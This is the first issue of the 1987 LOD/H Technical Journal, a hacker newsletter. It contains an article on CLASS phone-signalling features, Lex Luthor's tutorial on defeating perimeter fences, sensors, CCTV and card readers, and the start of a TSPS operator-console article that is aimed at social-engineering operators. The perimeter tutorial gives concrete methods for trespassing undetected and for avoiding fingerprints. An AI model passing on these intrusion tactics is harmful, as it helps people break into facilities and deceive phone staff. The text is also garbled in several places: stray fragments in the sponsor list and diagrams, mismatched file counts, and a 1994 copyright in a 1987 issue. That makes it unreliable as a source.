The LOD/H Technical Journal: File #1 of 12
Volume 1, Issue 1 Released: Jan. 1, 1987

THE

LOD/H TECHNICAL JOURNAL

INTRODUCTION:

Welcome to the premiere issue of the LOD/H TJ!

The LOD/H TJ is a soft-copy free newsletter whose primary purpose is to further the knowledge of those who are interested in topics such as: Telecommunications, Datacommunications, Computer & Physical Security/Insecurity and the various technical aspects of the phone system.

The articles contained herein, are totally original unless otherwise stated. All sources of information for a specific article is listed in the introduction or conclusion of the atricle. We will not accept any articles that are unoriginal, plagiarized, or contain invalid or false information. Articles will be accepted from anyone who meets those criteria. We are not dependant upon readers for articles, since members of LOD/H and a select group of others will be the primary contributers, but anyone can submit articles.

Readers are encouraged to download all files for each issue, not just the ones they are interested in. The reason for this is twofold: The newsletter was designed to be a group effort, and the files herein were not intended for individual distribution, and secondly, keeping the issue intact allows you to distribute it to other BBS's and phriends who are interested in it.

There is no set date for releasing issues, as we have no monetary or legal obligation to the readers, but we predict subsequent issues will be released between 2 and 3 months from the previous one. Thus, expect 4 to 6 issues a year assuming we continue to produce them, which we intend to do.

Newsletter sponsors are boards which will get the newsletter directly from the staff as soon as it is released, and has added our 'staff account' to the userlist in order for the readers to respond directly to us about the content of the newsletter. If your board would like to become a sponsor, leave us mail on any of the following sponsors boards:

Atlantis
Metal Shop Private
or B-type Manhole cover lifter), although an ordinary 3/4 - 1 inch crow-
Digital Logic
Hell Phrozen Over

An LOD/H TJ staff account is on all our sponsor BBS's. This allows readers to get in contact with us for the following reasons:

* If you have questions about any article, or question the validity of the material, you are welcome to contact us through the staff account and leave a way for the author to contact you. This insures a better understanding from the readers of the topic and also, insures the integrity of the author as far as knowledge and originality of the topic is concerned.

* You may leave questions for the staff which will be answered in our 'Ask the Staff' section of the newsletter. The questions selected will be of general interest to others. Any questions not published will try to be answered via

E-Mail. We don't know everything, but anything we do know will be shared with those who ask.

Various features of the newsletter include:

Editorials: These will feature short articles on topics which affect the telecom world in general.

Network News & Notes: News articles and other things of interest pertaining to the things this newsletter specializes in.

Reader Mail: Questions and comments about previous issues from readers who contact us through our staff account on sponsor boards.

Special Features: These will pop up from time to time and can be anything which does not fit in the general format of the newsletter.

TABLE OF CONTENTS:

01 Introduction to the LOD/H Technical Journal and Table Of Contents for Volume 1, Issue 1	Staff	05 K
02 Custom Local Area Signalling Services (CLASS)	The Videosmith	17 K
03 Identifying and Defeating Physical Security and Intrusion Detection Systems Part I: The Perimeter	Lex Luthor	23 K
04 The Traffic Service Position System (TSPS)	The Marauder	23 K
05 Hacking DEC's TOPS-20: Intro	Blue Archer	19 K
06 Building your own Blue Box (Includes Schematic)	Jester Sluggo	16 K
07 Intelligence and Interrogation Processes	Master Of Impact	18 K
08 The Outside Loop Distribution Plant: Part A	Phucked Agent 04	25 K
09 The Outside Loop Distribution Plant: Part B	Phucked Agent 04	23 K
10 LOH Telenet Directory: Update #4 (1-1-87) Part A	LOH	25 K
11 LOH Telenet Directory: Update #4 (1-1-87) Part B	LOH	18 K
12 Network News & Notes	Staff	10 K

Total: 12 files 223 K

That wraps it up for the introduction, hope you like it and we will look forward to hearing from you.

The LOD/H Technical Journal: File #2 of 13

Custom Local Area Signalling Services

Written by: The Videosmith

Version - 1.1

----------(c) Copyright 1994----------

This article will explain the newly developed LASS system (AT&T Bell Labs), and how it may affect us in the near future. Note that the service as it appears for customers is called "CLASS", the C standing for Custom. I assume this is just for looks.

LASS

The telephone was destined to become a well used and powerful tool for otherwise tedious tasks. Gas meters and other metered services would be surveyed through the use of automatic data retrieval employing telephone communications. All in all, some have big plans for the uses one could put the telephone system up to, and CLASS is one plan that is going to drop an innovative bombshell on the telecommunicating world.

At this moment, a local CCIS network feature is being developed by Bell Laboratories. This feature will change the way people use fones, and will also change the attitude in which they use them. It will give far more control of the telephone to the user than ever before. This feature is called CLASS (Custom Local Area Signalling Services).

Everyone will find something useful in this newly developed telephone feature. Pizza parlours will no longer have to worry about fraudulent italian food mongers, and little old ladies won't have to worry about prank calls by certain dubious characters.

What are all these fantastic features? These features will include call back of the last caller, regardless of whether you have their telephone number or not. Another will be distinct call waiting tones, and preselected call forwarding (only those people whom you wish to speak to will be forwarded). This is a rudimentary list of CLASS features to come. It is a very powerful system, and it all relys on LCCIS (Local Common Channel Interoffice Signalling), an intra-LATA version of the ever-popular CCIS.

CCIS Background

CCIS was originally introduced in 1976 as, basically, the signalling system to end all signalling systems. Instead of using the voice grade trunks to carry signalling information on, a data network would be used. This network is comprised of data links from each TO [involved with CCIS] to the appropriate STP (signal transfer point). Signalling information is sent through these links at 4800 bps to the STPs (Note that baud rates may increase due to the economic availability of faster data communications hardware), where stored program control routes the signalling information to the needed offices in order to open and complete the call path. SPC checks automatically for on-hook/off-hook status before opening the path, and if the status is off-hook (in this case the customer does not have the call waiting custom calling feature), returns information to the originating CO to apply a busy signal to the customer. This is but one of many features toll CCIS provides the network with.

Since this text is not centered on the topic of toll CCIS, technical aspects aren't as important (except for the comparison between the local and toll networks for observational purposes): yet it is important to notice how automated and flexible this type of signalling method is, as well as its speed and efficiency. All the software control involved with local and toll networks is called, fittingly, the "stored program control network." or ISDN (Integrated Services Digital Network). LCCIS will be addressed in a future article.

CLASS/LCCIS Features

LCCIS would look like this:

```
                                  /--X
                                  CO-2
                                  ESS#
                     /----I-T-G-----1A-----I-T-G----X
                     |            X--/             |
                     |              |              |
                     |            LCCIS            |
                     |              |              |
                     |          ----------         |
                  /--X--LCCIS--|CCIS/SPC|--LCCIS--/--X
                  CO-1         ----------         CO-3
                  ESS#                            ESS#
                  -1A----interoffice trunk group---1A-
NPA - Dial 1223          213 NPA (GTE) - Dial 114
```

SPC = Stored Program Control (Network control and Signal Transfer Point)
ITG = Interoffice Trunk Group

Using a high-speed data link between local offices creates a much more flexible and more effecient way for intra-LATA central offices to communicate. Instead of using per-trunk signalling (using the same trunk used for voice transmission to send routing and billing information), such data would be sent thru a 2400 bps dedicated data link, which interacts with a local signal processing and transfer point. From that point, signalling information is distributed to appropriate central offices or tandem switches.

At the during which this article was being initially researched, CLASS was only being developed for the #1A ESS switch due to the flexibility of it's memory handling, it's speed and what Bell Labs called 'cost efficiency'. At the end of the research involved with this article, CLASS was already implemented in data stage on ESS#5.

LCCIS will work with the local switches using stored program control, keeping track of call data. The 1A switches will use what is called "scratch pad" memory (also known as call store), in conjuction with LCCIS's database, to accomplish all the features that LASS provides. This memory will hold such data as "line history", and a "screening list". That information will make it possible for autoredial, selective call forwarding, nuisance call rejection, and distinctive call waiting tones.

Selective CF

Selective call forwarding is defined by the subscriber (the subscriber must have conventional call forwarding to request this service). Using call store, or more specifically the screening list, one will be able to selectively forward a call to another directory number by executing a few simple commands on the friendly home-bound telephone (unlike migrating telephones most frequently found in hotel rooms). An access code (a list will appear at the end of the file) will be entered, and a special tone will be issued from the subscriber's CO. The customer will then dial in the numbers he wants forwarded to the particular number. After each number, a tone will sound indicating the acceptance of the number. Individual BOC's (Bell Operating Companies) will be able to define the amount of numbers which may be screened. Once this is done, the cusomter hangs up and the ESS takes over. Now, whenever some one calls this particular customer, the customer's switch will compare

the calling line's directory number with those stored in scratch pad memory. If the CLID matches one of the numbers in 1A memory associated with the called directory number, the number is forwarded. If not, the phone will ring at the original destination. This in particular could make it very difficult on system hackers, as you could probably imagine. A company can subscribe to this CLASS feature, and enter only the numbers of authorized users to be forwarded to a computer. Bureaus inside the various telephone companies and other sensitive operations can screen calls to particular numbers by using this service.

This is a security that's hard to beat, but of course there is a way (simple law of nature: nothing is fail-safe). There will always be the obvious way of finding numbers which are being forwarded to, like auto-dialing entire exchanges (one after the other). Unfortunetly, CLASS will be providing other services which might make "scanning" seem less attractive.

Distinctive Ringing

Distinctive ringing is handled in the same fashion as selective call forwarding is: the screen list in scratch pad memory. The customer may enter numbers which the ESS should give special precedence to, and whenever a call is placed to this particular customer's number, ESS checks to see whether the CLID matches a directory number listed in the switch's memory. If a match is made, the subscriber's CO gives the off-hook line a special call waiting tone, or the on-hook phone a distinctive ring (possibly using abnormally timed ringing voltage... some readers may picture a British Telecom ring as an example, although many foreign audible rings tend to be different).

Call Rejection

Nuisance call rejection, a feature making it possible to block certain idiots from ringing your fone (a feature we can all benefit from at one time or another... or all the time), uses the information retrieved from LCCIS (CLID). Let's say customer A calls customer B:

```
                    ----LCCIS----
A ---> CO<                >CO ---> B
                    ----trunk----
```

Customer B happens to despise customer A, and keys in a special *## code. ESS again takes over and looks at the CLID information, and stores the calling line directory number in a special screen list associated with with customer B. The next time customer A tries calling customer B, the terminating office will reroute the call to a local (the originating CO) digitized recording telling customer A that the call he made cannot be completed due to customer B's request ("I'm sorry, but the customer you have tried to reach wishes you were eaten by a rabid canibal on drugs").

Dial Back

The ESS scratch pad memory is used again. The same principles are used as are employed in the already established custom calling feature, auto-redial. CLID will be used in this way:

```
                                (received from CLID)
last-called-mem                   last-caller-mem
   ----------                        ----------
   |###-####|                        |###-####|
```

---------- ----------

Your ESS switch will keep track of who you called last, and who called you last, thru the retrieval of calling line information provided by LCCIS in conjunction with your switch (Your switch will know what number you called last by directly storing the digits you dialed previously. Local signalling will provide calling line information via LCCIS call information forwarding using the data link mentioned). This way, with your access code (*##), you will have total re-dial service.

Customer Trace

This type of memory handling and signalling method will also allow the feature that everyone was afraid would abolish "phreaking". Subscriber initiated tracing, using the last caller directory number stored at your CO, will be available as far as Bell Laboratories is concerned. There seems to be two types of "customer originated trace". One will forward the number to local authorities, at which it will be handled through the police. The other feature AT&T/Bell Labs is working on will be a display module that will sit by your fone, and will display calling directory numbers. All other CLASS features that use the calling line information are used at the descretion of the caller. The customer originated trace, however, using the individual or bulk calling line identification features ("trace") allow the customer to view the calling number. The world is not ending... yet, in any case. Individual customers will be able to employ a special "privacy code", which when dialed, tells the far-end switch not to forward the calling number to a desk display. Whether there will be a way to override this or not is obvious: of course. The police, the military and government agencies are all likely to have a higher priority level than your privacy. It seems that long distance carriers could benefit greatly from CLASS. Why Bell/AT&T should give any type of special services to OCCs not given to other non-telephone companies, especially after equal access is fully implemented, I don't know (but then again, it is EQUAL access). It's always possible. It is also possible that there will be no desk display. There are those phone phreaks who feel that BOC's will never give the end party the priviledge of retrieving the calling party's number directly, if not due to plain old Bell policy on the issue of privacy. We'll have to wait and see about that point: the desk display is, in fact, operational and is being used in test stage. Whether Bell Labs feels that this feature can and will be used in a full scale non-beta stage BOC situation is a different story. The economic feasability is questionable.

End Notes

CLASS, using local CCIS, will not function on inter-LATA calls. The local CCIS network is exactly that: local, and does not extend into the realm of "toll network". This will eventually be corrected (allowing toll CCIS to interact with LCCIS as far as CLID information is concerned). How the various long distance networks will exchange information with the local BOC network has not been determined [by the writer of this article]. It would seem like a monumental task to try to integrate the emerging long distance companies into the AT&T/BOC ISDN, be it because of equipment inconsistancies or lack of cooperation on the part of the OCC, etc. This will be discussed in an upcoming article dealing with toll CCIS. Although CLASS has been built around the ESS #1A switch, it has, as has been mentioned, been co-developed for use with the ESS #5 switching machine.

CLASS is going to cause problems, as well as create a new environment for telephone users. Of course, those problems are only problems to people who will generally be reading this article, but the more you know about CLASS the more comfortable you'll feel about the service. It can be used to one's advantage, even as a telecommunications hobbyist. Just as a corporation will be able to set up a complete history of who is calling their

system, and eventually keep people off the system using the screen list in memory, the same features can be applied to bulletin board systems and the like. Imagine being able to keep all the local bozos off your board, or being able to screen all but your private local users (making your system completely inaccessible through the PSTN network from any telephone but that of one of your users). It would seem to be a useful feature, if nothing else but an easy feature, to implement.

It is a little difficult, if not plain awkward, to write an article about a topic which is subject to change at the researcher's ignorance. I think that CLASS is enough of a momentous issue that at least some text by a hobbyist should be released for public knowledge purposes. Yet my awareness of the fact that some of this text may be outdated, or inaccurate, by the time CLASS is released as a BOC service, is in itself the explanation of why there is a version number at the head of this article. Most likely, when CLASS becomes public, the second version will be released with update notes (if need be...most probably so). I hope you enjoyed it,

The Videosmith.
LOD/LOH!

Test stage defaults for some features:
NPA - Dial 760 914 NPA - Dial 990

DTMF	Pulse	Description of Service
*66	1166	Reconnect last caller
*63	1163	Selective Call Forward
*60	1160	Nuisance Call Blocking
*57	1157	Customer "Trace"

Note: These command codes may vary from BOC to BOC. The codes listed above were found in a general description of CLASS and did not specify a particular implementation of these services.

Acknowledgements:

Mark Tabas for his views on various included topics... for example, subscriber tracing ("FUCK NO").
Doctor <413> Who
Mr. DNA

The LOD/H Technical Journal: File #3 of 12

Lex Luthor and The Legion Of Doom/Hackers Present:

Identifying, Attacking, Defeating, and Bypassing Physical Security and Intrusion Detection Systems

PART I: THE PERIMETER

The reasons for writing this article are twofold:

1) To prevent the detection and/or capture of various phreaks, hackers and others, who attempt to gain access to: phone company central offices, phone closets, corporate offices, trash dumpsters, and the like.

2) To create an awareness and prove to various security managers, guards, and consultants how easy it is to defeat their security systems due to their lack of planning, ignorance, and just plain stupidity.

In the past, I have written articles on "Attacking, Defeating, and Bypassing" Computer Security. Now I take those techniques and apply them to Physical Security. The information contained herein, has been obtained from research on the different devices used in physical security, and in practical "tests" which I and others have performed on these devices.

INTRODUCTION:

Physical Security relies on the following ideas to protect a facility: Deterrence, Prevention, Detection, and Response. Deterrents are used to 'scare' the intruder out of trying to gain access. Prevention tries to stop the intruder from gaining access. Detection 'sees' the intruder while attempting to gain access. Response tries to stop and/or prevent as much damage or access to a facility as possible after detection. There are 3 security levels used in this article and in industry to designate a facility's need. They are: Low, Medium, and High. The amount, and types of security devices used by a facility are directly proportional to the level of security the facility 'thinks' it needs. When I use 'facility' I am refering to the people in charge of security, and the actual building and assets they are trying to protect. This article will be primarily concerned with the protection of the perimeter. I have 2 other articles planned in this series. The second is the security concerning the exterior of a facility: cipher locks, window breakage detectors, magnetic contact switches, etc. The third part will deal with security systems inside a facility: Passive Infra-Red detectors, ultrasonic detectors, interior microwave systems, and the various card access control systems.

THE PERIMETER:

A facility's first line of defense against intrusion is its' perimeter. The perimeter may have any or all of the following:

* A single fence

* An interior fence coupled with an exterior fence

* Regular barbed wire

* Rolled barbed wire

* Various fence mounted noise or vibration sensors

* Security lighting and CCTV

* Buried seismic sensors and different photoelectric and microwave systems

Fences:

Fences are commonly used to protect the perimeter. The most common fence in use today is the cyclone fence, better known as the chain link fence. Fences are used as a deterrent and to prevent passage through the perimeter. Common ways of defeating fences are by cutting, climbing, and lifting. Cutting is not usually recommended for surreptitious entry, since it is easily noticeable. In this article, we will be taking the 'Stealth' approach. Climbing is most

commonly done, but if the fence is in plain view, it may not be advisable since you can be seen easily. The higher the fence, the longer it takes to climb. The longer it takes to climb, the longer security has to detect and respond to your actions. Lifting is better since you are closer to the ground, and not as easily spotted, but the fence must be very flexible, or the sand very soft so you can get under the fence quickly and easily. Whenever you see a somewhat 'unclimbable' fence (or one that you just don't want to climb) you should check the perimeter for large trees with uncut branches hanging over the fence or other objects which will enable you to bypass the fence without ever touching it. You could use a ladder but you don't want to leave anything behind, especially with your fingerprints on it, not that you plan on doing anything illegal of course.

Electric fences are not used for security purposes as much as they were in the past. Today, its main use if to keep cattle or other animals away from the perimeter (either from the inside or outside). There are devices which send a low voltage current through a fence and can detect a drop in the voltage when someone grabs onto the fence. Again, not too common so I will not go into it.

For high security installations, there may be 2 fences. An outer fence, and an inner fence which are 5-10 yards apart. It isn't often that you see this type of setup, it is mainly used by government agencies and the military. You can be very sure that there are various intrusion detection devices mounted on the fence, buried underground between them, and/or line-of-sight microwave or photoelectric devices used. These will be mentioned later. If you insist on penetrating the perimeter, then you should try to measure how far it is between fences. Now find a 2 foot by X foot board where X is the distance between the 2 fences. Very slowly place the board on top of both fences. If there are no fence vibration sensors you can just climb the fence and step onto the board to walk across the top. If there are fence sensors, you will need a ladder which cannot touch the fence to get you on top of the board. You can then walk on the board, over the ground in between, and jump down, being careful not to disturb the fences. This will work if there are no sensors after the 2 fences. Identifying sensors will be mentioned later. Obviously the method of using a long board to put on top of the two fences will not work if the fences are spaced too far apart. Also, you and the board can be seen very easily.

Barbed Wire:

There are two common types of barbed wire in use today. The more common and less secure is the type that is strung horizontally across the fence with three or more rows. The 'barbs' are spaced about 6" apart, enough for you to put your hand in between while climbing over. Also, it is thin enough to be cut very easily. If you think you will need to leave in a hurry or plan on problem free surreptitious entry and the only way out will be to climb over the fence again you can cut the wire from one post to another, assuming the wire is tied or soldered to each post, and replace it with a plastic wire which looks like the wire you just cut. Tie it to each post, and come back anytime after that. You can then climb over it without being cut. The other type of wire, which is more secure or harmful, depending on how you look at it, is a rolled, circular wire commonly called Razor Ribbon. One manufacturer of this is the American Fence Co. which calls it 'the mean stuff'. And it is. The barbs are as sharp as razors. Of course this can be cut, but you will need very long bolt cutters and once you cut it, jump as far back as you can to avoid the wire from springing into your face. As mentioned earlier, cutting is irreparable, and obvious. If the wire is loosely looped, there may be sufficient room in between to get through without getting stitches and losing lots of blood. If the wire is more tightly looped you may be able to cover the the wire with some tough material such as a leather sheet so you can climb over without getting hurt. This method is not easy to accomplish however. You may want to see if you can get under the fence or jump over rather than climb it.

Fence mounted noise or vibration sensors:

Let's assume you have found a way to get past the fence. Of course you have not tried this yet, since you should always plan before you act. OK, you have planned how you would theoretically get over or past the fence. You are now past the deterrent and prevention stages. Before you put the plan into action you had better check for the things mentioned earlier. If a fence is the first step in security defense, then fence mounted sensors are the second step. The types of detection equipment that can be mounted on the fence are:

Fence shock sensors: These mount on fence posts at intervals of 10 to 20 feet, or on every post. They are small boxes clamped about 2/3 up from ground level. There is a cable, either twisted pair or coax running horizontally across the fence connecting these boxes. The cable can be concealed in conduits or inside the fence itself, thus, making it hard to visually detect. Each fence sensor consists of a seismic shock sensor that detects climbing over, lifting up or cutting through the fence. So if the fence is climbable, it would not be wise to do so since you may be detected. Of course it doesn't matter if your detected if there is no security force to respond and deter you.

Another type, is called the E-Flex cable. It's simply a coax cable running horizontally across the fence. This cable can not only be used on chain link fences, but can also be used on concrete block, brick, or other solid barriers. It may be on the outside, or mounted inside the fence, thus, making detection of the device harder. Of course detection of this and other similar devices which cannot be seen, doesn't make it impossible. A way to detect this, is by simply repeatedly hitting the wall with a blunt object or by throwing rocks at it. If nothing out of the ordinary happens, then you can be reasonably sure it is not in place. This is basically a vibration sensor.

Low frequency microphones: This is essentially a coax cable that responds to noise transmitted within the fence itself.

Vibration sensors: These are based on mercury switches, a ring or ball on a pin, or a ball on a rail. Movement of the fence disturbs the switches and signals alarms. A hint that this is in use is that it can only be used on a securely constructed and tightly mounted fence, with no play or movement in it. Otherwise, they will be getting false alarms like crazy.

OK, you know all about these types, how the hell do you get around it? Well, don't touch the fence. But if there is no alternative, and you must climb it, then climb the fence where it makes a 90 degree turn (the corner) or at the gate. Climb it very slowly and carefully, and you should be able to get over without being detected by these sensors! Make sure you climb on the largest pipe and don't fall.

Security lighting and CCTV:

Sometimes, fences may be backed up by Closed Circuit TV (CCTV) systems to make visual monitoring of the perimeter easier and quicker. By installing an adequate lighting system and conventional CCTV cameras, or by using special low light sensitive cameras, the perimeter can be monitored from a central point. Security personnel can then be dispatched when an intruder is detected on the monitors.

Some systems are stationary, and others can be moved to view different areas of the perimeter from within the central station. It would be in your best interest to determine if the camera is stationary or not. If so, you may be able to plan a path which will be out of the view range of the camera. If it is movable, you will have to take your chances.

Light control sensor: This utilizes a Passive InfraRed (PIR) sensor to detect

the body heat emitted from someone entering the detection area, and can activate a light or other alarm. PIR's will be discussed in Part II of this series. The sensor has an option called: 'night only mode' in which a light will flash when a person enters the area, but only during night hours. It can tell if its dark by either a photoelectric sensor, or by a clock. Of course if its daylight savings time, the clock may not be totally accurate, which can be used to your advantage. If it is photoelectric, you can simply place a flashlight pointing directly into the sensor during daylight hours. When it gets dark, the photoelectric sensor will still 'think' its day since there is sufficient light, thus, not activating the unit to detect alarm conditions. This should enable you to move within the area at will.

Buried Seismic Sensors:

Seismic detectors are designed to identify an intruder by picking up the sound of your footsteps or other noises related to passing through the protected area. These sensors have a range of about 20 feet and are buried underground and linked by a cable, which carries their signals to a processor. There, the signals are amplified and equalized to eliminate frequencies that are unrelated to intruder motion. The signals are converted to pulses that are compared with a standard signal threshold. Each pulse that crosses this threshold is tested on count and frequency. If it meets all the criteria for a footstep, an alarm is triggered. These sensors can even be installed under asphalt or concrete by cutting a trench through the hard surface. It is also immune to weather and can follow any type of terrain. The only restriction is that the area of detection must be free of any type of obstruction such as a tree or a bush.

Electronic field sensor:

These detect an intruder by measuring a change in an electric field. The field sensors use a set of two cables, one with holes cut into the cable shielding to allow the electromagnetic field to 'leak' into the surrounding area. The other cable is a receiver to detect the field and any changes in it. Objects passing through the field distort it, triggering an alarm. This sensor can either be buried or free standing, and can follow any type of terrain. But its very sensitive to animals, birds, or wind blown debris, thus, if it is very windy out, and you know this is being used, you can get some paper and throw it so the wind takes it and sets off the alarm repeatedly. If it is done enough, they may temporarily turn it off, or ignore it due to excessive false alarms.

It is not hard to tell if these devices are in use. You cannot see them, but you don't have to. Simply get 3-4 medium sized stones. Throw them into the place where you think the protected area is. Repeat this several times. This works on the lesser advanced systems that have trouble distinguishing this type of seismic activity from human walking/running. If nothing happens, you can be reasonably sure this is not in use. Now that you can detect it, how do you defeat it? Well as far as the electronic field sensor is concerned, you should wait for a windy night and cause excessive false alarms and hope they will turn it off. As far as the seismic sensors, you can take it one step at a time, very softly, maybe one step every 30-60 seconds. These sensors have a threshold, say, two or more consecutive footsteps in a 30 second time interval will trigger the alarm. Simply take in one step at a time, slowly, and wait, then take another step, wait, until you reach your destination. These detectors work on the assumption that the intruder has no knowledge of the device, and will walk/run across the protected area normally, thus, causing considerable seismic vibrations. The problem with this method is that it will take you some time to pass through the protected area. This means there is more of a chance that you will be seen. If there are a lot of people going in and out of the facility, you may not want to use this method. Another way would be to run across the protected area, right next to the door, (assuming that is where the response team will come out) and drop a large cat or a dog there. When they come out, they will hopefully blame the alarm on the animal. The sensor shouldn't really

pick up a smaller animal, but odds are the security force are contract guards who wouldn't know the capabilities of the device and the blame would fall on the animal and not you, assuming there were no cameras watching...

Microwave systems:

In an outdoor microwave system, a beam of microwave energy is sent from a transmitter to a receiver in a conical pattern. Unlike indoor microwave detectors, which detect an intruders' movement in the microwave field, the outdoor system reacts to an intruders' presence by detecting the decrease in energy in the beam. The beams can protect an area up to 1500 feet long and 40 feet wide. All transmission is line-of-sight and the area between transmitter and receiver should be kept clear of trees and other objects that can block the beam. Microwave systems can operate in bad weather, and won't signal an alarm due to birds or flying debris.

These systems work on the Doppler effect, in which they detect motion that changes the energy, and sets off an alarm. These devices will usually be placed inside a fence to avoid false alarms. These devices are very easy to visually detect. They are posts from 1-2 yards high, about 6 inches by 6 inches and there are 2 of them, one receiver and one transmitter. In some cases there will be more, which enables them to protect a larger area.

To defeat this, you can enter the field, very slowly, taking one step at a time but each step should be like you are in slow motion. It doesn't matter how hard you hit the ground, since it doesn't detect seismic activity, only how fast you approach the field. If you take it very slowly you may be able to get past. Detectors of this type get more and more sensitive as you approach the posts. Ergo, choose a path which will lead you furthest away from the posts.

Photoelectric systems:

These systems rely on an invisible barrier created by beams of infrared light sent from a light source to a receiver. When the beam is interrupted, the alarm sounds. The beam can have an effective range of up to 500 feet. Multiple beams can be used to increase the effectiveness of the system, making it harder for you to climb over or crawl under the beams. Photoelectric systems can be prone to false alarms as a result of birds or wind-blown debris passing through the beam. The problem can be corrected by the installation of a circuit that requires the beam to be broken for a specified amount of time before an alarm is sounded. Weather conditions like heavy fog, can also interrupt the beam and cause an alarm. This can also be corrected by a circuit that reacts to gradual signal loss. These systems should not face directly into the rising or setting sun since this also cuts off the signal beam.

As you can see this system has many problems which you can take advantage of to bypass this system. As with any system and method, surveillance of the facility should be accomplished in various weather conditions to help verify the existence of a particular detection device, and to see how they react to false alarms. Many times, you will be able to take advantage of various conditions to accomplish your mission. If there is only one set of devices (transmitter and receiver), try to estimate the distance of the sensors from the ground. You can then either crawl under or jump over the beam. This also works on the assumption that the intruder will not recognize that the device is in use.

MISCELLANEOUS:

Guards: There are two types, in-house or company paid guards and contract

guards. Contract guards are less secure since they do not work for the facility and if they make a mistake they simply get transferred to another facility no big deal. In-house guards know the facility better and have more to lose, thus, they are probably more security conscious. Be aware of any paths around the perimeter in which guards can/will walk/ride to visually inspect the exterior of the facility.

Central monitoring: Monitoring of the devices mentioned in this article is usually accomplished at a 'Central Station' within the facility. Usually, guards *SHOULD* be monitoring these. If you have planned well enough, you may find that the guard leaves his/her post to do various things at the same time every night. This would be an ideal time to do anything that may be seen by cameras. Unfortunately, there will probably be more than one guard making this nearly impossible.

Gates: Probably the easiest way to pass through the perimeter is to go through the gate. Whether in a car, or by walking. This may not be too easy if it is guarded, or if there is a card reading device used for entry.

Exterior card readers: An in-depth look at the types of cards used will be in part 3 of this series. But for now, if the card used is magnetic (not Weigand) it is quite possible to attack this. If you have an ATM card, Visa, or other magnetic card, slide the card thru, jiggle & wiggle it, etc. and quite possibly the gate will open. Reasons for this are that since it is outside, the reader is subjected to extreme weather conditions day in and day out, thus, the detecting heads may not be in the best of shape, or since it is outside it may be a cheap reader. In either case, it may not work as good as it should and can make 'mistakes' to allow you access.

Combinations: The devices listed in this article do not have to be used alone. They can and are used in conjunction with each other for greater security.

Diversions: In some cases, a diversion could better insure your passage through the perimeter. Keep this in mind.

Extreme weather conditions: All devices have an effective operating range of temperatures. On the low end of the scale, most devices will not operate if it is -30 degrees Fahrenheit or lower. Though, quite a few will not operate effectively under the following temperatures: -13 f, -4 f, +10 f, +32 f. On the other side of the scale, they will not operate in excess of: +120 f, +130 f and +150 f. It is unlikely that the outside temperature will be above 120 degrees, but in many places, it may be below freezing. Take this into consideration if a facility has these devices, and you cannot bypass them any other way.

I could not have possibly mentioned everything used in perimeter protection in this article. I have tried to inform you of the more common devices used. Some things were intentionally left out, some were not. I welcome any corrections, suggestions, and methods, for this article and the future articles planned. I can be contacted on a few boards or through the LOD/H TJ Staff Account.

CONCLUSION:

This article primarily dealt with the identification of various 'tools' used in physical security for the deterrence, prevention, detection, and response to an intruder. There also were some methods which have been used to attack, defeat, and bypass these 'tools'. None of the methods mentioned in this article work 100% of the time in all circumstances, but ALL have worked, some were under controlled circumstances, some were not. But all have worked. Some methods are somewhat crude, but they get the job done. Some methods were intentionally left out for obvious reasons. Even though this article was written in a tutorial fashion, in no way am I advising you to go out and break the law. I am merely

showing you how to identify devices that you may not have known were in place to keep you from making a stupid mistake and getting caught. The Establishment doesn't always play fair, so why should we?

ACKNOWLEDGEMENTS:

Gary Seven (LOH)

The LOD/H Technical Journal: File #4 of 12

Understanding the Traffic Services Position System (TSPS)

Part I - The Console

By The Marauder
&
The Legion of Doom!

/ Revision 1.0-02 X

Written Sometime in 1986...

* Special thanks to Bill from RNOC, Phucked Agent 04, and The (602) Scorpion for their help in acquiring & compiling this information.

In this article I will discuss the basic layout description, and use of the keys, found on the standard AT&T 100-B TSPS Console. Possible uses for the information contained herein (besides for just wanting to know about the TSPS Console) are primarily for social engineering purposes. The more you know about operators and their jobs, the more you can get them to do things for you...

I. Basic Console layout

```
 +-----------------------------------------------------------------------------+
 !  +---------------------+       +-------------------------------------+    !
 !  !   (Ticket Box)      !       !            ( Display )              !    !
 !  +---------------------+       +-------------------------------------+    !
 !                                                                            !
 !                          (NonCoin)    (--- Coin 1-----)    (-- Hotel --)  !
 !  VFY OVR SCN INW EMR     Sta 0+ 0-    Sta 0+ 0- Pst Tne    Sta 0+ 0- Gst  !
 !      SES         INT                               Pay                     !
 !                                                                            !
 !  (Outgoing trunk)     (--- Ring Designation --- )  (Release)              !
 !  DA  R&R  SWB  OGT    BAK FWD CAL T&C Nfy Chg Key   BAK FWD  SR MB Mt PT  !
 !                               BAK         due clg                          !
 !                                                                            !
 ! +-----+     Cw                  (Station)  PA CL SP SP AT DDD              !
 ! ! M B !                                          CG CD CT                  !
 ! ! u u !                                                                    !
 ! ! l l !                         (Person )  PA CL SP SP    NO               !
 ! ! t l !                                          CG CD    AMA              !
 ! ! i e !                                                                    !
 ! !   t !    (Coin 2)  (AMA Timing)   (Loop Ctl)                             !
 ! ! L i !    COL  RET  CA   ST        Cg Cg Cg                               !
 ! ! e n !              TMG  TMG                  (Kpls key)  (Num pad)        !
 ! ! a   !                              Cd Cd Cd   KP KP KP    1  2  3         !
```

```
 ! ! f T !              CA   REC                  TB RT HO                   !
 ! !   r !              CAL  MSG       HD HD HD               4  5  6   ST   !
 ! !   a !                                        KP KP                    !
out - 54"H x 40"W x12"D), with some newer size F, H, and some 3M series-
 ! !     !    RLS                                                          !
 ! !     !        (Display Ctrl)                  KP KP       0            !
 ! +-----+    tim chg CLG CLD SPL                  BK FD          +--------!
 !               min NUM NUM NUM                                  ! Number !
 !                                                                ! Plate  !
 +-------------------------------------------------------------------------+
```

Figure 1. 100-B TSPS Console layout

(Due to 80 col width, picture is a little distorted vertically)

Legend:

- o Abbreviations in all capital letters are ILLUMINATED KEYS
- o Abbreviations in all lower case letters are NON-ILLUMINATED KEYS
- o Abbreviations in upper & lower case letters are LAMPS ONLY

ie: VFY = Lighted VERIFY key, tim = Unlighted TIME key, Cg = CALLING Lamp

